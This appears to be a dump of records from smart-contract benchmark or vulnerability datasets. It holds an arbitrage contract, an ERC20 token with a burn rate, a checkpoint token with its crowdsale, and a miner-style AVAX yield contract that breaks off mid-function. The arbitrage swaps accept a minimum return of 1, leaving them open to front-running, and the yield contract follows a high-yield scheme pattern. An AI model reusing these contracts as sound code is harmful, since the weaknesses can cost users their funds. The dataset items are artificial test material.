OrFeedInterface internal _orfeed;
mapping(string => UniswapExchangeInterface) internal _uniswap;
address internal _owner;
address internal _feeCollector;
mapping(string => address) internal _fundingToken;
mapping(string => uint) internal _allowedSlippage;
event Arbitrage(string arbType, address fundingToken, uint profit, uint loss);
modifier onlyOwner() {
require(isOwner());
_;
}
constructor() public {
_owner = msg.sender;
}
function () external payable {}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function getVersion() public pure returns (string) {
return "0.0.3";
}
function getPrice(string from, string to, string venue, uint256 amount) public view returns (uint256) {
return _orfeed.getExchangeRate(from, to, venue, amount);
}
function getEthBalance() public view returns (uint256) {
return address(this).balance;
}
function getFundingTokenAddress(string tokenSymbol) public view returns (address) {
return _fundingToken[tokenSymbol];
}
function hasFundingTokenApproval(string tokenSymbol) public view returns (bool) {
IERC20 token = IERC20(_fundingToken[tokenSymbol]);
return token.allowance(_owner, address(this)) > 0;
}
function getFundingTokenBalance(string tokenSymbol) public view returns (uint256) {
IERC20 token = IERC20(_fundingToken[tokenSymbol]);
return token.balanceOf(address(this));
}
function getWalletTokenBalance(string tokenSymbol) public view returns (uint256) {
IERC20 token = IERC20(_fundingToken[tokenSymbol]);
return token.balanceOf(msg.sender);
}
function setKyberNetworkProxyInterface(KyberNetworkProxyInterface kyber) public onlyOwner {
require(address(kyber) != address(0), "Invalid KyberNetworkProxyInterface address");
_kyber = KyberNetworkProxyInterface(kyber);
}
function setOrFeedInterface(OrFeedInterface orfeed) public onlyOwner {
require(address(orfeed) != address(0), "Invalid OrFeedInterface address");
_orfeed = OrFeedInterface(orfeed);
}
function setFeeCollector(address feeCollector) public onlyOwner {
require(address(feeCollector) != address(0), "Invalid Fee Collector address");
_feeCollector = feeCollector;
}
function setupFundingToken(string tokenSymbol, address tokenAddress, address uniswapExchangeAddress, uint allowedSlippage) public onlyOwner {
address ourbitrage = address(this);
address kyberAddress = address(_kyber);
IERC20 token = IERC20(tokenAddress);
if (_fundingToken[tokenSymbol] != address(0)) {
uint256 oldTokenBalance = token.balanceOf(ourbitrage);
require(oldTokenBalance == 0, "You have an existing token balance");
}
_fundingToken[tokenSymbol] = tokenAddress;
_uniswap[tokenSymbol] = UniswapExchangeInterface(uniswapExchangeAddress);
_allowedSlippage[tokenSymbol] = allowedSlippage;
require(token.approve(kyberAddress, 0), "Failed to approve Kyber for token transfer");
token.approve(kyberAddress, _DEFAULT_MAX_RATE);
require(token.approve(uniswapExchangeAddress, 0), "Failed to approve Uniswap for token transfer");
token.approve(uniswapExchangeAddress, _DEFAULT_MAX_RATE);
}
function withdrawETH() public onlyOwner {
_withdrawETH(msg.sender);
}
function withdrawToken(string tokenSymbol) public onlyOwner {
_withdrawToken(tokenSymbol, msg.sender);
}
function depositFunds_APPROVE_FIRST(string tokenSymbol, address tokenAddress, uint tokenAmount) public onlyOwner {
require(_fundingToken[tokenSymbol] != address(0), "Funding Token has not been setup");
require(_fundingToken[tokenSymbol] == tokenAddress, "Funding Token is not the same as the deposited token type");
IERC20 token = IERC20(_fundingToken[tokenSymbol]);
uint256 currentTokenBalance = token.balanceOf(msg.sender);
require(tokenAmount <= currentTokenBalance, "User does not have enough funds to deposit");
require(token.transferFrom(msg.sender, address(this), tokenAmount), "Failed to transfer Token Funds into Ourbitrage Contract");
}
function arbEthFromKyberToUniswap(string tokenSymbol) public onlyOwner returns (uint, uint) {
return _arbEthFromKyberToUniswap(tokenSymbol);
}
function arbEthFromUniswapToKyber(string tokenSymbol) public onlyOwner returns (uint, uint) {
return _arbEthFromUniswapToKyber(tokenSymbol);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _withdrawETH(address receiver) internal {
require(receiver != address(0), "Invalid receiver for withdraw");
address ourbitrage = address(this);
receiver.transfer(ourbitrage.balance);
}
function _withdrawToken(string tokenSymbol, address receiver) internal {
require(_fundingToken[tokenSymbol] != address(0), "Funding Token has not been setup");
require(receiver != address(0), "Invalid receiver for withdraw");
address ourbitrage = address(this);
IERC20 token = IERC20(_fundingToken[tokenSymbol]);
uint256 currentTokenBalance = token.balanceOf(ourbitrage);
token.transfer(receiver, currentTokenBalance);
}
function _arbEthFromKyberToUniswap(string tokenSymbol) internal returns (uint profit, uint loss) {
require(_fundingToken[tokenSymbol] != address(0), "Funding Token has not been set");
require(address(_kyber) != address(0), "Kyber Network Exchange Interface has not been set");
address ourbitrage = address(this);
IERC20 token = IERC20(_fundingToken[tokenSymbol]);
uint256 tokenBalance = token.balanceOf(ourbitrage);
if (tokenBalance > 0) {
uint ethReceived = _buyEthOnKyber(token, tokenBalance);
_sellEthOnUniswap(tokenSymbol, ethReceived);
(profit, loss) = _getProfitLoss(token, tokenBalance);
emit Arbitrage("ETH-K2U", _fundingToken[tokenSymbol], profit, loss);
}
}
function _arbEthFromUniswapToKyber(string tokenSymbol) internal returns (uint profit, uint loss) {
require(_fundingToken[tokenSymbol] != address(0), "Funding Token has not been set");
require(address(_kyber) != address(0), "Kyber Network Exchange Interface has not been set");
address ourbitrage = address(this);
IERC20 token = IERC20(_fundingToken[tokenSymbol]);
uint256 tokenBalance = token.balanceOf(ourbitrage);
if (tokenBalance > 0) {
uint ethReceived = _buyEthOnUniswap(tokenSymbol, tokenBalance);
_sellEthOnKyber(token, ethReceived);
(profit, loss) = _getProfitLoss(token, tokenBalance);
emit Arbitrage("ETH-U2K", _fundingToken[tokenSymbol], profit, loss);
}
}
function _buyEthOnKyber(IERC20 token, uint tokenAmount) internal returns (uint) {
address ourbitrage = address(this);
uint slippageRate;
(, slippageRate) = _kyber.getExpectedRate(token, _ETH_TOKEN_ADDRESS, tokenAmount);
return _kyber.tradeWithHint(IERC20(token), tokenAmount, _ETH_TOKEN_ADDRESS, ourbitrage, _DEFAULT_MAX_RATE, slippageRate, _feeCollector, "PERM");
}
function _sellEthOnUniswap(string tokenSymbol, uint ethAmount) internal returns (bool) {
uint minReturn = 1;
_uniswap[tokenSymbol].ethToTokenSwapInput.value(ethAmount)(minReturn, block.timestamp);
return true;
}
function _buyEthOnUniswap(string tokenSymbol, uint tokenAmount) internal returns (uint) {
uint minEth = 1;
return _uniswap[tokenSymbol].tokenToEthSwapInput(tokenAmount, minEth, block.timestamp);
}
function _sellEthOnKyber(IERC20 token, uint ethAmount) internal returns (uint) {
uint slippageRate;
(, slippageRate) = _kyber.getExpectedRate(_ETH_TOKEN_ADDRESS, token, ethAmount);
uint tokensReceived = _kyber.swapEtherToToken.value(ethAmount)(token, slippageRate);
return tokensReceived;
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
_owner = newOwner;
}
function _getProfitLoss(IERC20 token, uint oldBalance) internal view returns (uint profit, uint loss) {
uint newBalance = token.balanceOf(address(this));
if (newBalance < oldBalance) {
profit = 0;
loss = oldBalance - newBalance;
} else {
profit = newBalance - oldBalance;
loss = 0;
}
}
}
| 164,064 | 12,428 |
8b35ca1a9376566cdb9b9209edf4318054bc168e982b4179adf7a67084528cc8
| 35,966 |
.sol
|
Solidity
| false |
363993391
|
gasgauge/gasgauge.github.io
|
7795ecd73e31b875fb199c36a74ab8ecd74f870d
|
Benchmark/no loops/0x56aCd2E672264f1118EAE55364E31F6DE080d9A8.sol
| 3,876 | 14,755 |
pragma solidity >=0.5 <0.7.17;
contract Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Mintable is Context {
address private _minter;
event MintershipTransferred(address indexed previousMinter, address indexed newMinter);
constructor () internal {
address msgSender = _msgSender();
_minter = msgSender;
emit MintershipTransferred(address(0), msgSender);
}
function minter() public view returns (address) {
return _minter;
}
modifier onlyMinter() {
require(_minter == _msgSender(), "Mintable: caller is not the minter");
_;
}
function transferMintership(address newMinter) public onlyMinter {
require(newMinter != address(0), "Mintable: new minter is the zero address");
emit MintershipTransferred(_minter, newMinter);
_minter = newMinter;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _burnedSupply;
uint256 private _burnRate;
string private _name;
string private _symbol;
uint256 private _decimals;
constructor (string memory name, string memory symbol, uint256 decimals, uint256 burnrate, uint256 initSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_burnRate = burnrate;
_totalSupply = 0;
_mint(msg.sender, initSupply*(10**_decimals));
_burnedSupply = 0;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function burnedSupply() public view returns (uint256) {
return _burnedSupply;
}
function burnRate() public view returns (uint256) {
return _burnRate;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function burn(uint256 amount) public returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 amount_burn = amount.mul(_burnRate).div(100);
uint256 amount_send = amount.sub(amount_burn);
require(amount == amount_send + amount_burn, "Burn value invalid");
_burn(sender, amount_burn);
amount = amount_send;
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
_burnedSupply = _burnedSupply.add(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupBurnrate(uint8 burnrate_) internal {
_burnRate = burnrate_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal { }
}
// PrinterToken with Governance.
// ERC20 (name, symbol, decimals, burnrate, initSupply)
contract Token is ERC20("Printer.Finance", "PRINT", 18, 0, 1200), Ownable, Mintable {
function mint(address _to, uint256 _amount) public onlyMinter {
_mint(_to, _amount);
}
function setupBurnrate(uint8 burnrate_) public onlyOwner {
_setupBurnrate(burnrate_);
}
}
| 341,881 | 12,429 |
7df2f4f6fb6fb6ce5f3d73a0f472692670a1403b11decf8d28c10a4bbbef8570
| 13,926 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x148f0e531ff26c25aa9fced6dc660eb60d74d018.sol
| 3,170 | 12,768 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMathForBoost {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Boost {
using SafeMathForBoost for uint256;
string public name = "Boost";
uint8 public decimals = 0;
string public symbol = "BST";
uint256 public totalSupply = 100000000;
// `balances` is the map that tracks the balance of each address, in this
// contract when the balance changes the block number that the change
// occurred is also included in the map
mapping (address => Checkpoint[]) balances;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) allowed;
/// @dev `Checkpoint` is the structure that attaches a block number to a
/// given value, the block number attached is the one that last changed the value
struct Checkpoint {
// `fromBlock` is the block number that the value was generated from
uint256 fromBlock;
// `value` is the amount of tokens at a specific block number
uint256 value;
}
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event Approval(address indexed _owner, address indexed _spender, uint256 _amount);
/// @dev constructor
function Boost() public {
balances[msg.sender].push(Checkpoint({
fromBlock:block.number,
value:totalSupply
}));
}
/// @dev Send `_amount` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) public returns (bool success) {
doTransfer(msg.sender, _to, _amount);
return true;
}
/// @dev Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
// The standard ERC 20 transferFrom functionality
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
doTransfer(_from, _to, _amount);
return true;
}
/// @dev _owner The address that's balance is being requested
/// @return The balance of `_owner` at the current block
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
/// @dev `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
/// @dev This function makes it easy to read the `allowed[]` map
/// @param _owner The address of the account that owns the token
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed
/// to spend
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// @dev Queries the balance of `_owner` at a specific `_blockNumber`
/// @param _owner The address from which the balance will be retrieved
/// @param _blockNumber The block number when the balance is queried
/// @return The balance at `_blockNumber`
function balanceOfAt(address _owner, uint _blockNumber) public view returns (uint) {
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount) internal {
// Do not allow transfer to 0x0 or the token contract itself
require((_to != 0) && (_to != address(this)) && (_amount != 0));
// First update the balance array with the new value for the address
// sending the tokens
var previousBalanceFrom = balanceOfAt(_from, block.number);
updateValueAtNow(balances[_from], previousBalanceFrom.sub(_amount));
// Then update the balance array with the new value for the address
// receiving the tokens
var previousBalanceTo = balanceOfAt(_to, block.number);
updateValueAtNow(balances[_to], previousBalanceTo.add(_amount));
// An event to make the transfer easy to find on the blockchain
Transfer(_from, _to, _amount);
}
/// @dev `getValueAt` retrieves the number of tokens at a given block number
/// @param checkpoints The history of values being queried
/// @param _block The block number to retrieve the value at
/// @return The number of tokens being queried
function getValueAt(Checkpoint[] storage checkpoints, uint _block) internal view returns (uint) {
if (checkpoints.length == 0) return 0;
// Shortcut for the actual value
if (_block >= checkpoints[checkpoints.length - 1].fromBlock)
return checkpoints[checkpoints.length - 1].value;
if (_block < checkpoints[0].fromBlock) return 0;
// Binary search of the value in the array
uint min = 0;
uint max = checkpoints.length - 1;
while (max > min) {
uint mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock <= _block) {
min = mid;
} else {
max = mid - 1;
}
}
return checkpoints[min].value;
}
/// @dev `updateValueAtNow` used to update the `balances` map and the
/// `totalSupplyHistory`
/// @param checkpoints The history of data being updated
/// @param _value The new number of tokens
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal {
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = block.number;
newCheckPoint.value = _value;
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1];
oldCheckPoint.value = _value;
}
}
/// @dev Helper function to return a min between the two uints
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
// @title Boost token interface to use during the ICO
contract BoostCrowdsale is Ownable {
using SafeMathForBoost for uint256;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// rate use during the ico
uint256 public rate;
// address of multiSigWallet to store ether
address public wallet;
// Boost token
Boost public boost;
// cap
uint256 public cap;
// amount of raised money in wei
uint256 public weiRaised;
// minimun amount
uint256 public minimumAmount = 0.1 ether;
// amount of sold token
uint256 public soldAmount;
// isFinalised flag
bool public isFinalized = false;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
// event for finalized
event Finalized();
// @dev constructor
function BoostCrowdsale(uint256 _startTime, uint256 _endTime, address _boostAddress, uint256 _rate, address _wallet, uint256 _cap) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_boostAddress != address(0));
require(_rate > 0);
require(_wallet != address(0));
require(_cap > 0);
startTime = _startTime;
endTime = _endTime;
boost = Boost(_boostAddress);
rate = _rate;
wallet = _wallet;
cap = _cap;
}
function finalize() public onlyOwner {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
// @dev fallback function to exchange the ether for Boost token
function() public payable {
uint256 weiAmount = msg.value;
// calc token amount
uint256 tokens = getTokenAmount(weiAmount);
require(validPurchase(tokens));
// update state
weiRaised = weiRaised.add(weiAmount);
soldAmount = soldAmount.add(tokens);
// transfer boostToken from owner to msg.sender
boost.transfer(msg.sender, tokens);
TokenPurchase(msg.sender, weiAmount, tokens);
forwardFunds();
}
// @dev return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
bool overPeriod = now > endTime;
bool underPurchasableAmount = getPurchasableAmount() < 10000;
return overPeriod || underPurchasableAmount;
}
// @dev return the amount of token that user can purchase
function getPurchasableAmount() public view returns (uint256) {
return boost.balanceOf(this);
}
// @dev return the amount of ether that user can send in order to purchase token
function getSendableEther() public view returns (uint256) {
return boost.balanceOf(this).mul(10 ** 18).div(rate);
}
function getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate).div(10 ** 18);
}
// @dev send ether to the fund collection wallet
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @dev finalization
function finalization() internal {
if (boost.balanceOf(this) > 0) {
require(boost.transfer(owner, boost.balanceOf(this)));
}
}
// @dev return true if the transaction can buy tokens
function validPurchase(uint256 _tokens) internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool moreThanOrEqualToMinimumAmount = msg.value >= minimumAmount;
bool validPurchasableAmount = cap >= soldAmount.add(_tokens);
return withinPeriod && moreThanOrEqualToMinimumAmount && validPurchasableAmount;
}
}
| 188,330 | 12,430 |
ba667f164186528ca310c387c3168f698fd18e3e89414b4b5f45268dfcb46a07
| 12,274 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/fa/fA0E5883A3A1A1D7E40d24770d5B44B75b08BFAE_AVAXGardenElysium.sol
| 3,313 | 11,127 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
contract AVAXGardenElysium {
uint256 public constant EGGS_TO_HIRE_1MINERS = 1080000;
uint256 public constant REFERRAL = 80;
uint256 public constant PERCENTS_DIVIDER = 1000;
uint256 public constant DEV = 20;
uint256 public constant TEAM = 20;
uint256 public constant MKT = 20;
uint256 public constant MARKET_EGGS_PERCENT_MUL = 4;
uint256 public constant MARKET_EGGS_PERCENT_DIV = 7;
uint256 public constant ROI_DIVISOR = 1e6;
uint256 public constant ROI_MAX_BONUS = 2000000;//200%
uint256 public constant ROI_COMPOUND_BONUS = 1034000;//+3.4%
uint256 public constant ROI_SELL_PENALTY = 500000;//-50%
uint256 public roiBoost = 1;//global roi boost will stay at 1 unless users decide otherwise
uint256 public constant MIN_INVEST_LIMIT = 5e17;
uint256 public constant WALLET_DEPOSIT_LIMIT = 2000 ether;
uint256 public totalStaked;
uint256 public totalDeposits;
uint256 public totalCompound;
uint256 public totalRefBonus;
uint256 public totalWithdrawn;
uint256 public marketEggs = 1;
uint256 public constant COMPOUND_STEP = 8 hours;
uint256 public constant CUTOFF_STEP = 48 hours;
uint256 internal constant INIT = 1658257200;
uint256 internal constant NPV_unit = 1 gwei;
address public owner;
address payable public dev1;
address payable public dev2;
address payable public team1;
address payable public mkt;
struct User {
uint256 initialDeposit;
uint256 userDeposit;
uint256 miners;
uint256 claimedEggs;
uint256 lastHatch;
address referrer;
uint256 referralsCount;
uint256 referralEggRewards;
uint256 totalWithdrawn;
uint256 dailyCompoundBonus;
uint256 farmerCompoundCount;
uint256 lastWithdrawTime;
uint256 roiMultiplier;
}
mapping(address => User) public users;
constructor(address payable _dev1, address payable _dev2, address payable _team1, address payable _mkt) {
require(!isContract(_dev1) && !isContract(_dev2) && !isContract(_team1));
owner = msg.sender;
dev1 = _dev1;
dev2 = _dev2;
team1 = _team1;
mkt = _mkt;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function contractStarted() internal view returns (bool){
return block.timestamp >= INIT;
}
// Compound Function
function rehireGardeners() external {
User storage user = users[msg.sender];
require(contractStarted(), "Contract not started yet.");
require((block.timestamp - user.lastHatch) >= COMPOUND_STEP, "Tried to compound too early.");
uint256 eggsUsed = getMyEggs();
uint256 eggsForCompound = eggsUsed;
uint256 eggsUsedValue = calculateEggSell(eggsForCompound);
user.userDeposit += eggsUsedValue;
totalCompound += eggsUsedValue;
user.farmerCompoundCount += 1;
user.miners += eggsForCompound / EGGS_TO_HIRE_1MINERS;
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
user.roiMultiplier = min(ROI_MAX_BONUS, (user.roiMultiplier * ROI_COMPOUND_BONUS) / ROI_DIVISOR);
uint256 additionalEggs = (eggsUsed * MARKET_EGGS_PERCENT_MUL) / MARKET_EGGS_PERCENT_DIV;
marketEggs += min(additionalEggs, type(uint256).max - marketEggs);
}
// Sell Function
function sellFlowers() external{
